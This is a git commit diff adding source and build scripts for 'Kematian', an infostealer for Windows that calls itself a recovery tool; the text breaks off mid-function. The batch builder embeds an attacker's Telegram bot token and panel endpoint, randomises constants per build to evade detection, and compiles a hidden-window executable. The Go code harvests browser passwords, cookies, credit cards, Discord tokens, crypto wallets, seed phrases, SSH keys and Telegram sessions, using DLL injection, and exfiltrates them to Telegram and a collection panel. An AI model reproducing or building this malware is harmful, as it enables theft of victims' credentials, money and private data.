commit d8ff4ca963d42e1146874fa67c412b300b984fed Author: i2p Date: Thu Aug 27 11:23:01 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..bedadbf Binary files /dev/null and b/.DS_Store differ diff --git a/Kematian-Standalone/.gitignore b/Kematian-Standalone/.gitignore new file mode 100644 index 0000000..e970a36 --- /dev/null +++ b/Kematian-Standalone/.gitignore @@ -0,0 +1,30 @@ +# Packaged plugin output +*.zip +server.js + +# Dependencies (installed at build time) +node_modules/ +bun.lockb + +# CGo-generated header (rebuilt on each compile) +*-windows-amd64.h +*-linux-amd64.h +*-darwin-amd64.h +*\kematian-windows-amd64.dll +*\recovery-key-extractor.dll + +# Go build artifacts +bin/ +*.exe +*.test +*.out + +# OS +.DS_Store +Thumbs.db + +# Editor +.vscode/ +.idea/ +*.swp +*.swo \ No newline at end of file diff --git a/Kematian-Standalone/final/build_final.bat b/Kematian-Standalone/final/build_final.bat new file mode 100644 index 0000000..e6eea01 --- /dev/null +++ b/Kematian-Standalone/final/build_final.bat @@ -0,0 +1,181 @@ +@echo off +setlocal enabledelayedexpansion + +title Kematian Final Builder + +echo ============================================ +echo Kematian Final Executable Builder +echo ============================================ +echo. + +set "SCRIPT_DIR=%~dp0" +set "PROJECT_ROOT=%SCRIPT_DIR%..\" +set "NATIVE_DIR=%PROJECT_ROOT%native" +set "EXFIL_DIR=%NATIVE_DIR%\cmd\exfil" +set "FINAL_DIR=%SCRIPT_DIR%" +set "ORIGINAL_MAIN=%EXFIL_DIR%\main.go" +set "TEMP_MAIN=%EXFIL_DIR%\main.go.tmp" +set "ORIGINAL_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go" +set "TEMP_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go.tmp" + +echo [DEBUG] SCRIPT_DIR=%SCRIPT_DIR% +echo [DEBUG] NATIVE_DIR=%NATIVE_DIR% +echo [DEBUG] ORIGINAL_MAIN=%ORIGINAL_MAIN% + +if not exist "%NATIVE_DIR%" ( + echo [ERROR] native folder not found at %NATIVE_DIR% + pause + exit /b 1 +) + +if not exist "%ORIGINAL_MAIN%" ( + echo [ERROR] main.go not found at %ORIGINAL_MAIN% + pause + exit /b 1 +) + +echo Enter your Telegram Bot Token: +set /p BOT_TOKEN=^> +if "%BOT_TOKEN%"=="" ( + echo [ERROR] Bot token cannot be empty + pause + exit /b 1 +) + +echo. +echo Enter your Telegram Chat ID: +set /p CHAT_ID=^> +if "%CHAT_ID%"=="" ( + echo [ERROR] Chat ID cannot be empty + pause + exit /b 1 +) + +echo. +echo ------------------------------------------- +echo COLLECTOR PANEL (leave blank to disable) +echo ------------------------------------------- +echo. +set "PANEL_ENDPOINT=" +set "PANEL_AUTH=" +set /p PANEL_ENDPOINT=Panel endpoint (e.g. https://mypanel.com/api/ingest): +set /p PANEL_AUTH=Panel ingest key (PANEL_INGEST_KEY): +echo. + +echo. +echo Building recovery-key-extractor.dll (Rust)... +set "RUST_DIR=%PROJECT_ROOT%rust-extractor" +set "EXTRACTOR_OUT=%NATIVE_DIR%\recovery\platform\recovery-key-extractor.dll" +set "RUST_DLL=%RUST_DIR%\target\x86_64-pc-windows-gnu\release\recovery_key_extractor.dll" + +if not exist "%RUST_DIR%\Cargo.toml" ( + echo [ERROR] rust-extractor\Cargo.toml not found + pause + exit /b 1 +) + +pushd "%RUST_DIR%" +echo Generating polymorphic gen.rs (unique constants per build)... +python -c "import secrets;seed=secrets.randbelow(1<<32)|1;kt=secrets.randbelow(255)+1;kv=secrets.randbelow(255)+1;ks=secrets.randbelow(255)+1;ke=secrets.randbelow(255)+1;kd=secrets.randbelow(255)+1;jx=secrets.randbelow(1<<32)|1;jr=secrets.randbelow(1<<32)|1;jn=secrets.randbelow(16)+4;ot=(secrets.randbelow(1<<32)<<32)|secrets.randbelow(1<<32);f=open('src/gen.rs','w');f.write('// AUTO-GENERATED per build. Do not edit.\n');f.write('pub const GEN_SEED: u32 = 0x%08X;\n\n'%seed);f.write('pub const K_TOKEN: u8 = %d;\n'%kt);f.write('pub const K_VENDOR: u8 = %d;\n'%kv);f.write('pub const K_SMBIOS: u8 = %d;\n'%ks);f.write('pub const K_ENV: u8 = %d;\n'%ke);f.write('pub const K_DISPLAY: u8 = %d;\n\n'%kd);f.write('pub const JUNK_XOR: u32 = 0x%08X;\n'%jx);f.write('pub const JUNK_ROT: u32 = 0x%08X;\n'%jr);f.write('pub const JUNK_N: u32 = %d;\n\n'%jn);f.write('pub const OPAQUE_TAG: u64 = 0x%016X;\n'%ot);f.close()" 2>&1 +if errorlevel 1 ( + echo [WARN] gen.rs regeneration failed, using existing gen.rs +) +cargo build --release --target x86_64-pc-windows-gnu +if errorlevel 1 ( + popd + echo [ERROR] cargo build failed + pause + exit /b 1 +) +popd + +if not exist "%RUST_DLL%" ( + echo [ERROR] Rust DLL not found at %RUST_DLL% + pause + exit /b 1 +) + +copy /y "%RUST_DLL%" "%EXTRACTOR_OUT%" >nul +if errorlevel 1 ( + echo [ERROR] Failed to copy Rust DLL + pause + exit /b 1 +) +echo [OK] recovery-key-extractor.dll ready + +echo. +echo Generating main.go with embedded credentials... +echo [DEBUG] Replacing placeholders in %ORIGINAL_MAIN% + +powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"', 'defaultBotToken = \"%BOT_TOKEN%\"'; $content = $content -replace 'defaultChatID = \"YOUR_CHAT_ID_HERE\"', 'defaultChatID = \"%CHAT_ID%\"'; [IO.File]::WriteAllText('%TEMP_MAIN%', $content); Write-Host 'PowerShell OK'" + +if errorlevel 1 ( + echo [ERROR] Failed to generate temp main.go + pause + exit /b 1 +) + +echo [DEBUG] Temp file created, verifying... +powershell -NoProfile -Command "Get-Content -Path '%TEMP_MAIN%' | Select-String 'defaultBotToken'" + +move /y "%TEMP_MAIN%" "%ORIGINAL_MAIN%" >nul +if errorlevel 1 ( + echo [ERROR] Failed to replace main.go + pause + exit /b 1 +) + +echo [OK] main.go updated with credentials + +echo. +echo Generating panel.go with panel config... +if not "%PANEL_ENDPOINT%"=="" ( + powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace 'http://127.0.0.1:5000/api/ingest', '%PANEL_ENDPOINT%'; $content = $content -replace 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"', 'PanelAuth = \"%PANEL_AUTH%\"'; [IO.File]::WriteAllText('%TEMP_PANEL%', $content); Write-Host 'PowerShell OK'" + if errorlevel 1 ( + echo [ERROR] Failed to generate temp panel.go + pause + exit /b 1 + ) + move /y "%TEMP_PANEL%" "%ORIGINAL_PANEL%" >nul + echo [OK] panel.go endpoint + auth updated (pubkey is auto-fetched at runtime) +) + +echo. +echo Building executable... +pushd "%NATIVE_DIR%" +go build -ldflags="-H=windowsgui -s -w" -o "%FINAL_DIR%kematian.exe" ./cmd/exfil +if errorlevel 1 ( + popd + echo [ERROR] Go build failed + pause + exit /b 1 +) +popd + +echo. +echo Restoring original main.go... +git checkout "%ORIGINAL_MAIN%" 2>nul +if errorlevel 1 ( + powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"%BOT_TOKEN%\"', 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"'; $content = $content -replace 'defaultChatID = \"%CHAT_ID%\"', 'defaultChatID = \"YOUR_CHAT_ID_HERE\"'; [IO.File]::WriteAllText('%ORIGINAL_MAIN%', $content)" +) + +echo. +echo Restoring original panel.go... +git checkout "%ORIGINAL_PANEL%" 2>nul +if errorlevel 1 ( + powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace [regex]::Escape('%PANEL_ENDPOINT%'), 'http://127.0.0.1:5000/api/ingest'; $content = $content -replace 'PanelAuth = \"%PANEL_AUTH%\"', 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"'; [IO.File]::WriteAllText('%ORIGINAL_PANEL%', $content)" +) + +echo. +echo ============================================ +echo [SUCCESS] Build complete! +echo ============================================ +echo. +echo Output: %FINAL_DIR%kematian.exe +echo. +echo Usage: Just double-click kemeatien.exe +echo (No arguments needed - credentials are embedded) +echo. +dir "%FINAL_DIR%kematian.exe" +echo. +pause \ No newline at end of file diff --git a/Kematian-Standalone/native/cmd/devtool/main.go b/Kematian-Standalone/native/cmd/devtool/main.go new file mode 100644 index 0000000..a4cd647 --- /dev/null +++ b/Kematian-Standalone/native/cmd/devtool/main.go @@ -0,0 +1,361 @@ +// Command devtool is a standalone development harness for the Kematian +// recovery pipeline. It emulates the plugin host + server by running the same +// collection code as the c-shared plugin, then prints a summary (or, with +// -verbose, the full event/result JSON) to the console. +// +// Usage examples: +// +// go run ./cmd/devtool # collect everything, summary +// go run ./cmd/devtool -cookies -browser Brave # just Brave cookies +// go run ./cmd/devtool -verbose # dump full JSON events +// go run ./cmd/devtool -out result.json -no-inject +// +// It is not loaded as a plugin; it links the recovery package directly and is +// meant to make local development and debugging easier. +package main + +import ( + "context" + "encoding/base64" + "encoding/json" + "flag" + "fmt" + "log" + "os" + "sort" + "strings" + "time" + + recovery "recovery/recovery" +) + +const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB, matches plugin + +var verbose bool + +func main() { + var ( + outPath string + timeoutSec int + browser string + noInject bool + includeZip bool + + all bool + passwords bool + cookies bool + autofill bool + history bool + bookmarks bool + cards bool + discord bool + files bool + wallets bool + telegram bool + keys bool + apps bool + gaming bool + vpn bool + extensions bool + fingerprint bool + fingerprintJS bool + ) + + flag.StringVar(&outPath, "out", "", "write the full result JSON to this file") + flag.IntVar(&timeoutSec, "timeout", 120, "collection timeout in seconds") + flag.StringVar(&browser, "browser", "", "only show results for this browser (case-insensitive); scanning is not restricted") + flag.BoolVar(&noInject, "no-inject", false, "skip DLL injection (direct file access only, no App-Bound/v20 keys)") + flag.BoolVar(&verbose, "verbose", false, "print full event/result JSON (default: summary only)") + flag.BoolVar(&includeZip, "content", false, "include base64 content in auto-download events") + + flag.BoolVar(&all, "all", false, "collect everything") + flag.BoolVar(&passwords, "passwords", false, "collect passwords") + flag.BoolVar(&cookies, "cookies", false, "collect cookies") + flag.BoolVar(&autofill, "autofill", false, "collect autofill") + flag.BoolVar(&history, "history", false, "collect history") + flag.BoolVar(&bookmarks, "bookmarks", false, "collect bookmarks") + flag.BoolVar(&cards, "cards", false, "collect credit cards") + flag.BoolVar(&discord, "discord", false, "collect Discord tokens") + flag.BoolVar(&files, "files", false, "scan files") + flag.BoolVar(&wallets, "wallets", false, "scan wallets") + flag.BoolVar(&telegram, "telegram", false, "scan Telegram sessions") + flag.BoolVar(&keys, "keys", false, "scan SSH & cloud keys") + flag.BoolVar(&apps, "apps", false, "scan app credentials") + flag.BoolVar(&gaming, "gaming", false, "scan gaming platforms") + flag.BoolVar(&vpn, "vpn", false, "scan VPN configs") + flag.BoolVar(&extensions, "extensions", false, "scan browser extensions") + flag.BoolVar(&fingerprint, "fingerprint", false, "collect the native browser fingerprint and exit") + flag.BoolVar(&fingerprintJS, "fingerprint-js", false, "collect the JS (canvas/WebGL/audio) fingerprint and exit") + flag.Parse() + + if noInject { + os.Setenv("KEMATIAN_NO_INJECT", "1") + } + + if fingerprint { + fp := recovery.CollectFingerprint() + data, _ := json.MarshalIndent(fp, "", " ") + fmt.Println(string(data)) + return + } + + if fingerprintJS { + fp := recovery.CollectJSFingerprint() + if fp == nil { + fmt.Println("{\"error\": \"failed to collect JS fingerprint\"}") + return + } + data, _ := json.MarshalIndent(fp, "", " ") + fmt.Println(string(data)) + return + } + + anyData := passwords || cookies || autofill || history || bookmarks || cards || + discord || files || wallets || telegram || keys || apps || gaming || vpn || extensions + + opts := recovery.CollectOptions{ + Browsers: all || !anyData || passwords || cookies || autofill || history || bookmarks || cards || extensions, + Passwords: all || !anyData || passwords, + Cookies: all || !anyData || cookies, + Autofill: all || !anyData || autofill, + History: all || !anyData || history, + Bookmarks: all || !anyData || bookmarks, + CreditCards: all || !anyData || cards, + Discord: all || !anyData || discord, + Files: all || !anyData || files, + Wallets: all || !anyData || wallets, + Telegram: all || !anyData || telegram, + Keys: all || !anyData || keys, + Apps: all || !anyData || apps, + Gaming: all || !anyData || gaming, + VPNs: all || !anyData || vpn, + } + + log.Printf("devtool: timeout=%ds browser=%q noInject=%v verbose=%v", timeoutSec, browser, noInject, verbose) + + printEvent("status", map[string]string{"message": "Starting collection (devtool)..."}) + + var exts []recovery.ExtensionResult + if opts.Browsers || extensions { + exts = recovery.ScanExtensions() + log.Printf("devtool: extension scan complete: %d extensions", len(exts)) + } + + partialFn := func(partial *recovery.CollectionResult) { + printEvent("partial", filter(partial, browser)) + } + + ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second) + defer cancel() + + start := time.Now() + result, err := recovery.Collect(ctx, opts, partialFn) + if err != nil { + log.Printf("devtool: collection failed: %v", err) + printEvent("error", map[string]string{"error": err.Error()}) + os.Exit(1) + } + + if opts.Browsers || extensions { + result.Extensions = exts + } + + printSummary(filter(result, browser)) + printEvent("results", filter(result, browser)) + + if len(result.Wallets) > 0 { + autoDownloadWallets(result.Wallets, includeZip) + } + + seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill) + if len(seeds) > 0 { + log.Printf("devtool: seed scan found %d seed phrases", len(seeds)) + printEvent("seed_scan_results", map[string]interface{}{"seeds": seeds}) + } + + if outPath != "" { + if err := writeResult(outPath, filter(result, browser)); err != nil { + log.Printf("devtool: failed to write output: %v", err) + os.Exit(1) + } + log.Printf("devtool: wrote result to %s", outPath) + } + + log.Printf("devtool: collection completed in %s", time.Since(start).Round(time.Millisecond)) +} + +// printEvent emulates the server receiving an event + JSON payload. Only used +// when -verbose is set. +func printEvent(event string, payload interface{}) { + if !verbose { + return + } + data, err := json.MarshalIndent(payload, "", " ") + if err != nil { + log.Printf("devtool: marshal %s: %v", event, err) + return + } + fmt.Printf("\n===== EVENT: %s =====\n%s\n", event, string(data)) +} + +type browserCounts struct { + cookies, passwords, autofill, history, bookmarks, cards, extensions int +} + +func tally(r *recovery.CollectionResult) map[string]*browserCounts { + m := map[string]*browserCounts{} + get := func(b string) *browserCounts { + if b == "" { + b = "(unknown)" + } + c, ok := m[b] + if !ok { + c = &browserCounts{} + m[b] = c + } + return c + } + for _, v := range r.Cookies { + get(v.Browser).cookies++ + } + for _, v := range r.Passwords { + get(v.Browser).passwords++ + } + for _, v := range r.Autofill { + get(v.Browser).autofill++ + } + for _, v := range r.History { + get(v.Browser).history++ + } + for _, v := range r.Bookmarks { + get(v.Browser).bookmarks++ + } + for _, v := range r.CreditCards { + get(v.Browser).cards++ + } + for _, v := range r.Extensions { + get(v.Browser).extensions++ + } + return m +} + +func printSummary(r *recovery.CollectionResult) { + fmt.Printf("\n===== SUMMARY =====\n") + + byBrowser := tally(r) + names := make([]string, 0, len(byBrowser)) + for b := range byBrowser { + names = append(names, b) + } + sort.Strings(names) + + fmt.Printf("%-14s %9s %9s %8s %7s %9s %5s %10s\n", + "browser", "cookies", "passwords", "autofill", "history", "bookmarks", "cards", "extensions") + for _, b := range names { + c := byBrowser[b] + fmt.Printf("%-14s %9d %9d %8d %7d %9d %5d %10d\n", + b, c.cookies, c.passwords, c.autofill, c.history, c.bookmarks, c.cards, c.extensions) + } + + fmt.Printf("\ndiscord tokens: %d\n", len(r.DiscordTokens)) + fmt.Printf("files: %d\n", len(r.Files)) + fmt.Printf("wallets: %d\n", len(r.Wallets)) + fmt.Printf("telegram: %d\n", len(r.Telegram)) + fmt.Printf("keys: %d\n", len(r.Keys)) + fmt.Printf("apps: %d\n", len(r.AppCredentials)) + if r.Gaming != nil { + fmt.Printf("gaming: present\n") + } + if r.VPNs != nil { + fmt.Printf("vpns: present\n") + } + if len(r.Errors) > 0 { + fmt.Printf("\nerrors: %d\n", len(r.Errors)) + for _, e := range r.Errors { + fmt.Printf(" - %s\n", e) + } + } +} + +func writeResult(path string, r *recovery.CollectionResult) error { + data, err := json.MarshalIndent(r, "", " ") + if err != nil { + return err + } + return os.WriteFile(path, data, 0600) +} + +func autoDownloadWallets(wallets []recovery.WalletResult, includeZip bool) { + for _, w := range wallets { + if w.Size > maxAutoDownloadSize { + log.Printf("devtool: skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size) + continue + } + data, err := recovery.ZipDirectory(w.Path) + if err != nil { + log.Printf("devtool: auto-download zip %q: %v", w.Name, err) + continue + } + log.Printf("devtool: wallet %q (%s) zipped %d bytes", w.Name, w.Type, len(data)) + if includeZip { + printEvent("wallet_auto_data", map[string]interface{}{ + "name": w.Name, + "type": w.Type, + "path": w.Path, + "addresses": w.Addresses, + "vaultData": w.VaultData, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } + } +} + +// filter returns a copy of r restricted to a single browser (case-insensitive) +// when name is non-empty. Non-browser fields are dropped in that case so the +// output stays focused on the browser under test. +func filter(r *recovery.CollectionResult, name string) *recovery.CollectionResult { + if name == "" { + return r + } + match := func(b string) bool { return strings.EqualFold(b, name) } + + out := &recovery.CollectionResult{} + for _, v := range r.Passwords { + if match(v.Browser) { + out.Passwords = append(out.Passwords, v) + } + } + for _, v := range r.Cookies { + if match(v.Browser) { + out.Cookies = append(out.Cookies, v) + } + } + for _, v := range r.Autofill { + if match(v.Browser) { + out.Autofill = append(out.Autofill, v) + } + } + for _, v := range r.History { + if match(v.Browser) { + out.History = append(out.History, v) + } + } + for _, v := range r.Bookmarks { + if match(v.Browser) { + out.Bookmarks = append(out.Bookmarks, v) + } + } + for _, v := range r.CreditCards { + if match(v.Browser) { + out.CreditCards = append(out.CreditCards, v) + } + } + for _, v := range r.Extensions { + if match(v.Browser) { + out.Extensions = append(out.Extensions, v) + } + } + out.Errors = r.Errors + return out +} diff --git a/Kematian-Standalone/native/cmd/exfil/main.go b/Kematian-Standalone/native/cmd/exfil/main.go new file mode 100644 index 0000000..165d777 --- /dev/null +++ b/Kematian-Standalone/native/cmd/exfil/main.go @@ -0,0 +1,81 @@ +package main + +import ( + "context" + "fmt" + "os" + "os/signal" + "syscall" + "time" + + "recovery/recovery/exfil" +) + +const ( + defaultTimeout = 120 * time.Second + + // EMBEDDED CONFIG - Change these values before building + + // Telegram fallback (leave placeholder to disable) + defaultBotToken = "YOUR_BOT_TOKEN_HERE" + defaultChatID = "YOUR_CHAT_ID_HERE" +) + +func logf(format string, args ...interface{}) { + f, err := os.OpenFile("kematian.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + return + } + defer f.Close() + msg := fmt.Sprintf(format, args...) + fmt.Fprintf(f, "%s %s\n", time.Now().Format("2006-01-02 15:04:05"), msg) +} + +func main() { + useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE" + usePanel := exfil.PanelEndpoint != "" + + logf("kematian start: usePanel=%v useTelegram=%v endpoint=%q authSet=%v", usePanel, useTelegram, exfil.PanelEndpoint, exfil.PanelAuth != "") + + if !useTelegram && !usePanel { + return + } + + ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) + defer cancel() + + sigChan := make(chan os.Signal, 1) + signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) + go func() { + <-sigChan + cancel() + }() + + result, zipData, counts, payloads, err := exfil.CollectResultAndZip(ctx) + if err != nil { + logf("collect failed: %v", err) + return + } + + if usePanel { + clientID := exfil.GenerateClientID() + if err := exfil.SendToPanel(result, clientID, payloads...); err != nil { + logf("panel send FAILED: %v", err) + } else { + logf("panel send OK clientId=%s payloads=%d", clientID, len(payloads)) + } + } + + if useTelegram { + filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip" + cfg := exfil.TelegramConfig{ + BotToken: defaultBotToken, + ChatID: defaultChatID, + } + if err := exfil.SendToTelegram(cfg, zipData, filename, counts); err != nil { + logf("telegram send FAILED: %v", err) + } else { + logf("telegram send OK") + } + } +} diff --git a/Kematian-Standalone/native/exports_windows.go b/Kematian-Standalone/native/exports_windows.go new file mode 100644 index 0000000..3c23712 --- /dev/null +++ b/Kematian-Standalone/native/exports_windows.go @@ -0,0 +1,64 @@ +//go:build windows + +package main + +import "C" +import ( + "syscall" + "unsafe" +) + +var callbackPtr uintptr + +func hostSendViaCallback(event string, payload []byte) { + cb := callbackPtr + if cb == 0 { + return + } + eventBytes := []byte(event) + var evPtr, plPtr uintptr + evLen := uintptr(len(eventBytes)) + plLen := uintptr(len(payload)) + if len(eventBytes) > 0 { + evPtr = uintptr(unsafe.Pointer(&eventBytes[0])) + } + if len(payload) > 0 { + plPtr = uintptr(unsafe.Pointer(&payload[0])) + } + syscall.SyscallN(cb, evPtr, evLen, plPtr, plLen) +} + +//export PluginSetCallback +func PluginSetCallback(cb C.ulonglong) { + callbackPtr = uintptr(cb) + setSend(hostSendViaCallback) +} + +//export PluginOnLoad +func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, cb C.ulonglong) C.int { + callbackPtr = uintptr(cb) + setSend(hostSendViaCallback) + data := C.GoBytes(unsafe.Pointer(hostInfo), hostInfoLen) + if err := handleInit(data); err != nil { + return 1 + } + return 0 +} + +//export PluginOnEvent +func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int { + ev := C.GoStringN(event, eventLen) + var pl []byte + if payloadLen > 0 { + pl = C.GoBytes(unsafe.Pointer(payload), payloadLen) + } + if err := handleEvent(ev, pl); err != nil { + return 1 + } + return 0 +} + +//export PluginOnUnload +func PluginOnUnload() { + handleUnload() +} diff --git a/Kematian-Standalone/native/go.mod b/Kematian-Standalone/native/go.mod new file mode 100644 index 0000000..bbff95d --- /dev/null +++ b/Kematian-Standalone/native/go.mod @@ -0,0 +1,22 @@ +module recovery + +go 1.26 + +require ( + github.com/mattn/go-sqlite3 v1.14.18 + golang.org/x/sys v0.47.0 +) + +require ( + github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f + github.com/chromedp/chromedp v0.16.0 + golang.org/x/crypto v0.50.0 +) + +require ( + github.com/chromedp/sysutil v1.1.0 // indirect + github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 // indirect + github.com/gobwas/httphead v0.1.0 // indirect + github.com/gobwas/pool v0.2.1 // indirect + github.com/gobwas/ws v1.4.0 // indirect +) diff --git a/Kematian-Standalone/native/go.sum b/Kematian-Standalone/native/go.sum new file mode 100644 index 0000000..61ef2d3 --- /dev/null +++ b/Kematian-Standalone/native/go.sum @@ -0,0 +1,25 @@ +github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f h1:0Z1zcSLEmnj2c2CmJYBqewtS6pxhB39bNWUSEUAWjgk= +github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f/go.mod h1:RwFsSODCtFExll+GhHM6R92SARHR3Z3oipaxLHj46C0= +github.com/chromedp/chromedp v0.16.0 h1:rOO4deOm4CbZgBCa8mD9g2rDyIoNs0BkgvNrlbp5ouk= +github.com/chromedp/chromedp v0.16.0/go.mod h1:rbuGKFT1vMcFcFqKfPIO1GpX/N+2s8onm2qMxZLbU5U= +github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM= +github.com/chromedp/sysutil v1.1.0/go.mod h1:WiThHUdltqCNKGc4gaU50XgYjwjYIhKWoHGPTUfWTJ8= +github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 h1:KZaTBSyshWX3MP5jukJcNSuXDQTO+rNpt0J564dX/eg= +github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68/go.mod h1:tphK2c80bpPhMOI4v6bIc2xWywPfbqi1Z06+RcrMkDg= +github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= +github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= +github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= +github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= +github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= +github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= +github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo= +github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs= +github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI= +github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= +github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw= +github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0= +golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI= +golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= diff --git a/Kematian-Standalone/native/main.go b/Kematian-Standalone/native/main.go new file mode 100644 index 0000000..1b1cda4 --- /dev/null +++ b/Kematian-Standalone/native/main.go @@ -0,0 +1,588 @@ +package main + +import ( + "context" + "encoding/base64" + "encoding/json" + "log" + "path/filepath" + "recovery/recovery" + "sync" + "sync/atomic" + "time" +) + +// collectDeadline bounds an entire collection run. A single stuck browser +// (NSS/COM/pipe stall) must never wedge the agent for more than this. +const collectDeadline = 90 * time.Second + +type HostInfo struct { + ClientID string `json:"clientId"` + OS string `json:"os"` + Arch string `json:"arch"` + Version string `json:"version"` +} + +var ( + hostInfo HostInfo + sendFn func(event string, payload []byte) + mu sync.Mutex + collecting atomic.Bool +) + +func setSend(fn func(event string, payload []byte)) { + mu.Lock() + sendFn = fn + mu.Unlock() +} + +func sendEvent(event string, payload interface{}) { + mu.Lock() + fn := sendFn + mu.Unlock() + if fn == nil { + return + } + data, err := json.Marshal(payload) + if err != nil { + log.Printf("[recovery] marshal error: %v", err) + return + } + fn(event, data) +} + +func handleInit(hostJSON []byte) error { + if err := json.Unmarshal(hostJSON, &hostInfo); err != nil { + return err + } + log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch) + sendEvent("ready", map[string]string{"status": "recovery plugin ready"}) + return nil +} + +func handleEvent(event string, payload []byte) error { + switch event { + case "collect": + go handleCollect(payload) + case "scan_files": + go handleScanFiles() + case "scan_extensions": + go handleScanExtensions() + case "fetch_file": + go handleFetchFile(payload) + case "fetch_ext_zip": + go handleFetchExtZip(payload) + case "scan_wallets": + go handleScanWallets() + case "fetch_wallet_zip": + go handleFetchWalletZip(payload) + case "scan_telegram": + go handleScanTelegram() + case "fetch_telegram_zip": + go handleFetchTelegramZip(payload) + case "scan_keys": + go handleScanKeys() + case "scan_apps": + go handleScanApps() + case "scan_gaming": + go handleScanGaming() + case "scan_vpn": + go handleScanVPN() + case "fingerprint": + go handleFingerprint() + case "fingerprint_js": + go handleFingerprintJS() + case "ping": + sendEvent("pong", nil) + default: + log.Printf("[recovery] unhandled event: %s", event) + } + return nil +} + +func handleCollect(payload []byte) { + if !collecting.CompareAndSwap(false, true) { + log.Printf("[recovery] collection already in progress, ignoring duplicate request") + return + } + defer collecting.Store(false) + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] collection panic: %v", r) + sendEvent("error", map[string]string{"error": "internal collection error"}) + } + }() + + var opts recovery.CollectOptions + if len(payload) > 0 { + json.Unmarshal(payload, &opts) + } else { + opts.Browsers = true + } + + if opts.Browsers { + noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill && + !opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord + if noneSet { + opts.Passwords = true + opts.Cookies = true + opts.Autofill = true + opts.History = true + opts.Bookmarks = true + opts.CreditCards = true + opts.Discord = true + opts.Files = true + opts.Wallets = true + opts.Telegram = true + opts.Keys = true + opts.Apps = true + opts.Gaming = true + opts.VPNs = true + } + } + + log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)", + opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord) + sendEvent("status", map[string]string{"message": "Resolving encryption keys..."}) + + var extensions []recovery.ExtensionResult + var extWg sync.WaitGroup + if opts.Browsers { + extWg.Add(1) + go func() { + defer 